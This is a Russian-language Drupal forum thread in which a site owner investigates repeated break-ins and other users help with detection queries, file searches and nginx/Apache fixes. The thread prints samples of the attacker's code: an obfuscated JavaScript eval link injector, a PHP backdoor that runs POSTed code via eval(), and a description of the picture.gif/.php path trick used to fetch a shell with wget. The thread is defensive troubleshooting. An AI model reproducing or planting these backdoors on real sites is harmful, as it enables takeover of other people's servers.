7 февраля 2011 в 21:05
Здравствуйте, недавно появилась такая проблема.
Кто-то ломает сайт на Drupal.
Если подробнее то происходит это так(из того что удалось отследить).
1. Злоумышненник каким-то образом добавляет в ноду скрипт с php кодом, ставит формат ноды php, хотя это ролям делать запрещено.
2. Потом как это обычно делается - вызывается эта нода, в неё c помощью POST отправляются данные с вредоносным кодом, который распаковывается через eval() в изначально залитом в ноду скрипте.
Т.к. код находится на сайте - злоумышленник просто выполянет в залитом коде db_query() и делает все что ему вздумается.
Уже долго не могу понять как он это делает. Подскажите пожалуйста что можно с этим сделать.
Доступ к ?q=admin в .htaccess редиректит на fsb.ru.
В файлах изменений нет, проверяю регулярно на всякий случай, с правами на файлы все ок, в этом уверен.
Друпал 6.x последний, за время атак 1 раз обновил.
От phpfilter отказаться не могу т.к. на нем сделан некоторый функционал. Увы... Это легко могло бы решить проблему, но нужен другой способ.
Прокси с которых ходит злоумышленник попадают после атак в правила файервола.
К cron.php попасть нельзя, редиректит на fsb.ru
Напрямую постом не шлют код, только в зашифорованном виде для eval.
При заливе первого скрипта, не обращаются к файлу index.php. (Логирую содержимое массивов GET и POST).
Вот это вижу в htaccess
- 78.40.231.89 - - [05/Feb/2011:01:16:38 +0300] "POST /taxonomy/term/13372/?comment=238076 HTTP/1.0" 200 33768 "http://istranet.ru/taxonomy/term/13372/?comment=238076" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)"
- 78.40.231.89 - - [05/Feb/2011:01:17:45 +0300] "POST /taxonomy/term/13372/?comment=238076 HTTP/1.0" 200 33781 "http://istranet.ru/taxonomy/term/13372/?comment=238076" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)"
Если нужна дополнительная информация, любую могу наковырять. Вплоть до кода первого скрипта который злоумышленник заливает на сайт в ноду.
Комментарии
Смотрите свои форматы ввода первым делом
PHP code Роли не используют этот формат
Проверил.
Значит используют Full HTML, туда суют яву и получают доступ. Тут где то xxandeadxx красиво расписывал процесс.
Топик был от VasyaOk
Интересно стало - нашел: http://drupal.ru/node/51703
Кроме друпала, модули тоже обновлялись?
Спасибо, покопался в нодах, нашел только это.
'eval(unescape("%69%66%20%28%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%2e%68%6f%73%74%20%3d%3d%20%27%77%77%77%2e%6a%6f%62%2d%6d%6f%2e%72%75%27%20%7c%7c%20%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%2e%68%6f%73%74%20%3d%3d%20%27%6a%6f%62%2d%6d%6f%2e%72%75%27%29%20%7b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%61%20%68%72%65%66%3d%22%6d%61%69%6c%74%6f%3a%7a%61%7a%61%40%64%69%6e%66%6f%2e%72%75%22%3e%7a%61%7a%61%40%64%69%6e%66%6f%2e%72%75%3c%2f%61%3e%27%29%7d%20%65%6c%73%65%20%7b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%61%20%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%6a%6f%62%2d%6d%6f%2e%72%75%2f%76%61%63%33%36%30%32%34%39%2e%68%74%6d%6c%22%3e%68%74%74%70%3a%2f%2f%77%77%77%2e%6a%6f%62%2d%6d%6f%2e%72%75%2f%76%61%63%33%36%30%32%34%39%2e%68%74%6d%6c%3c%2f%61%3e%27%29%7d"))'
Теги и конечную точку с запятой убрал.
FullHTML был у корреспондентов сайта и админа.
В коде всего-лишь ссылка на сайт.
И вот еще что
var a,s,n; function k11f986abd3c4aff9fc8cb94c92cc1f83(s){r='';for(i=0;i=8364){n=128;} r+=String.fromCharCode(n-5);}return eval(r);}a='{fw%wjlj}u%B%4c-myyuxD?a4a4.D-|8a3.Drxp2wjlnts3wfgtyf3wz-a43/.D)4n@%u%B-&wjlj}u3yjxy-ithzrjsy3qthfynts.%D%,Af%mwjkB\'myyu?a4a4rxp2wjlnts3wfgtyf3wza4DfwjfB{8dwjxzrj[nj|+niB>886977\'Cmyyu?a4a4rxp2wjlnts3wfgtyf3wza4DfwjfB{8dwjxzrj[nj|+niB>886977Aa4fC,%?%,Af%mwjkB\'rfnqyt?xjsnp6><5E~fsij}3wz\'Cxjsnp6><5E~fsij}3wzA4fC,.@';document.write(k11f986abd3c4aff9fc8cb94c92cc1f83(a));
FullHtml отрубил для всех. у нод формат тоже поменял. Остается ждать.
Модули конечно тоже регулярно обновляются.
Смотрите еще на серваке время последнего обновления файлов. Если есть доступ на сервак с редактированием файлов — получить доступ на сайт и замести потом следы проще простого. Пароли на сервак тырят логгерами. В некоторых случаях это бывает даже дело рук недобросовестных админов серверов.
с фсб.ру это они весело придумали : )
это гебисты такой хитрый дорвей сделали, тоже сео занялись
Утром опять нашел в одной из нод в body php код и формат ноды был php code
$pass = $_POST['pass'];
$arbcode = $_POST['arbcode'];
if($pass!='cross'){
global $user;
if (!$user->uid)
{echo '
form method="post">';
}
}else{
form method="post">
" />
eval($arbcode);}
Дело точно не в форматах ввода, для пользователей отключены full html и phpcode.
Файлы на сервере проверяю find'ом.. меняются только картинки со времени обновления сайта которые лежат в sites/default/files.
Добило в /var/log/messages вот это
Feb 8 02:10:47 www drupal: http://**********.ru|1297120247|user|74.220.215.63|http://***************.ru/node/156441?destination=node%2F156441|http://**********.ru/node/156441|2308||Session opened for AdminUser. Пароль на бд и на юзера поменял сразу.
Проверяете логи апача, смотрите кто делал POST запрос на страницу с этой нодой, находите IP нарушителя. Потом просматриваете логи друпала, находите кто логинился с этого ip.
Это стандартный алгоритм.
1. Находим ip.
2. Дропаем всю подсеть в iptables.
3. Смотрим куда и как он делал пост запрос и каким юзером.
4. Просим юзера поменять пароль.
5. Смотрим что он натворил.
6. Проверяем есть ли сессии для этого IP, удаляем если они под админом остались.
Это похоже на тушение пожара. А как его предотвратить?
Я думаю, что в тот момент, когда дом горит, нужно думать о тушении пожара. После ликвидации и выяснения причин - можно думать о предотвращении.
М.б. у вас лично троян попятил логин/пасс, тогда нужно чистить систему. Или какой-то модуль дырявый. Или вы допустили к редактированию сайта человека, которого не следовало допускать.
Стоит касперский. Троянов не находит. У корреспондентов и редакторов нет прав на форматы ввода и они не могут выбирать или менять формат ввода.
Не удается как раз выявить первопричину взлома.
То что касперский троянов не видит - еще не значит, что их нет.
Собирайте информацию, всю что касается взлома - кто, когда. В крайнем случае - можете прибегнуть к помощи специалистов.
Будет информация - найдем крайнего, залатаем дыру.
Нашел пару скриптов в файлах пользователей. Как их могли туда залить? расширения .inc и .js.
Используются файл менеджер IMCE есть ли в нем известные дыры? Как можно безопасно его настроить?
После удаления скрипта сайт wartchdog все время говорит
Сообщение include(/var/www/html/sites/default/files/u19149/bit.inc) [function.include]: failed to open stream: No such file or directory в файле /var/www/html/includes/common.inc(1696) : eval()'d code в строке 6.
Где может подключаться этот файл?
Кричит только по ссылке /taxonomy/term/[term_num]
В блоке наверняка.
Спасибо, уже нашел действительно в блоке было.
А каким запросом к базе, кстати, можно найти ноды, у которых фильтр ввода стоит php, ну и блоки, соответственно? Ибо столкнулся с аналогичной проблемой, что и топикстартер.
ФТП нет, доступ по ssh для рута закрыт, пароль сильный... php-filter есть, но пользоваться им может только рут сайта, которым он применяется только в редких случаях. Судя по всему, злоумышленник залил свой код на сайт через какую-то пропущенную мной дыру — где-то сумел с помощью php закинуть код в /sites/default/files/pictures. Сомневаюсь, что это через загрузку аватары было сделано. И вот теперь пытаюсь найти у комментариев в фильтрах ввода этого нет, в node_revisions тоже ни у кого нет, но как посмотреть блоки и добавленные через cck textarea? Где ещё может быть дырка? Подскажите, пожалуйста. По логам вижу, что злоумышленник (зарегистрированный на днях у меня на сайте) обращается к залитому на сервер коду, а вот как он туда его залил я не знаю, а ведь без этого никак не обзопасить себя от следующего взлома
select node_revisions.nid,node_revisions.uid
from node_revisions
inner join filter_formats on node_revisions.format=filter_formats.format
where filter_formats.name='PHP code';
Либо узнаешь номер формата PHP
select * from filter_formats;
Потом
select * from node_revisions where format=[тут подставить номер формата];
То-же делаешь для комментов
select comments.cid,comments.uid
from comments
inner join filter_formats on comments.format=filter_formats.format
where filter_formats.name='PHP code';
Если думаешь что залили в /sites/default/files скрипты, то ищи файлы так
find /var/www/html/sites/default/files/ -name "*.inc" -print
find /var/www/html/sites/default/files/ -name "*.tpl" -print
find /var/www/html/sites/default/files/ -name "*.js" -print
find /var/www/html/sites/default/files/ -name "*.php" -print
Ну путь к папке если другой то свой подставь.
Если найдешь там что-то - значит шелл
Ну и ядро перезалей Попробуй да юзера смени на папке с сайтом, чтобы писать нельзя было никуда кроме темп и sites/default/files папок.
Если бы не права, думаю у меня все ядро в левых скриптах бы было давно.
В моем случае как я понял взлом был из-за FullHTML фильтра.
Сутки уже полет нормальный. Попытки были взлома но забавные.
Я сегодня тоже столкнулся с интересным взломом у знакомого.
Каким-то странным образом, сайт начал продавать сапо-ссылки. Но логи не вариант почитать, их тупо нет
Обращайтесь помогу. Найду дыру и залатаю. (если конечно она есть)
Солью БД, удалю модераторов
может /sites/default/files/pictures ?
а проверки на то что файл - картинка у тебя нету?
Глянь в вандюке в главе про загрузку файлов есть пример файлика который надо бросать в папку с файлами которые сервер не мог исполнить как php.
Если что, сам сервер (ВПС) на nginx — может быть я при переезде на него с апача что-то напутал с правами и доступом к файлам и папкам... не знаю. Шелл и прочий код, залитый злоумышленником, принадлежит www-data.
Не очень представляю, как это будет происходить, но обращаюсь. Буду рад уже хотя бы советам, почта: мой ник на яндексе.
Спасибо, исправил в оригинальном посте адрес. Специально я ничего не делал. Был уверен, что Друпал с этим сам справится — в конце концов, я ничего не менял в работе с загрузкой файлов на этой инсталляции.
Окей, посмотрю. Спасибо!
Ядро не перезаливать, а полностью удалять файлы.
Всем спасибо! Закрыли дыру. В конфиге nginx не было указано, чтобы делалась проверка на существование файла прежде, чем работать с ним. Злоумышленник обращался с запросом вида examples.net/sites/default/files/pictures/picture-1.gif/.php и в качестве параметров передавал всё, что угодно, начиная от wget... Тем самым он заливал на сайт свой шелл (нашли сперва один, а потом, когда первый удалили, он второй залил и на том засветил свой "метод"), с помощью которого уже делал всё, что хотел... с правами веб-сервера.
и как выглядит такая инструкция в nginx?
тоже сильно интересует.
может что-то типа:
if (!-e $request_filename) {
rewrite ^(.+)$ /index.php break;
}
}
В нашем случае вот так:
location ~ \.php$ {
if (!-f $document_root/$fastcgi_script_name) {
return 403;
}
}
че деиться, люди добрые!
Здравствуйте, это снова я, мой сайт продолжают ломать.
Удалось выяснить что происходит это так:
1. Злоумылненник заливает файл формата png или jpg на сервер(это можно всем зарегистрированым пользователям с помощью imce).
2. Каким-то образом заливают файл .htaccess в юзерскую папку
3. В файле находится вредоносный код.
4. Злоумышленики обращаются к файлу как к скрипту.
Подскажите пожалуйста как закрыть эту дыру, оставив возможность пользоваться imce.
запретить выполнение таких фалов chmod 444 *
Сомнительно что это спасёт.
Залить .htaccess по юзерским папкам и запретить изменение?
тогда надо чтобы он автоматически генерировался там.
.htaccess запрещающий выполнение находится в директории files и наследуется поддиректориями.
Особые умельцы на особых хостингах его удаляют
У меня под сайт отдельный сервак, в корне files лежит htaccess в нем ничего не менялось
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
Options None
Options +FollowSymLinks
Кроме автосоздания htaccess в юзерских папках есть способы? Пока по крону удаляю лишние.
Ну... У вас ВПС, так что можно провернуть вот такое:
AccessFileName ht.access
Note: If you rename your htaccess files, remember to update any associated configuration settings. For example, if you are protecting your htaccess file via FilesMatch, remember to inform it of the renamed files:
# protect renamed htaccess files
<FilesMatch "^ht\.">
Order deny,allow
Deny from all
</FilesMatch>
Лучше будет попробовать что-то вроде этого:
AllowOverride None
</Directory>
Это работает исключительно в .conf файлах Апача, в .htaccess не сработает.
О G.A. Vinogradov спасибо, удивляюсь как сам забыл про Надо меньше пить.
Но это не объясняет первопричину - а именно, то как залили htaccess файлы и js файлы на сервер.
У меня опять впечатление что я не могу найти первопричину взлома.
Ну, чем смог - помог
А для первопричины нужно логи смотреть, конфиги видеть и т.д.
Еще раз здравствуйте, нашел еще одну проблему.
PHP исполняется для файлов с расширением .php. .php.1 .php.* в общем.
Как это исправить?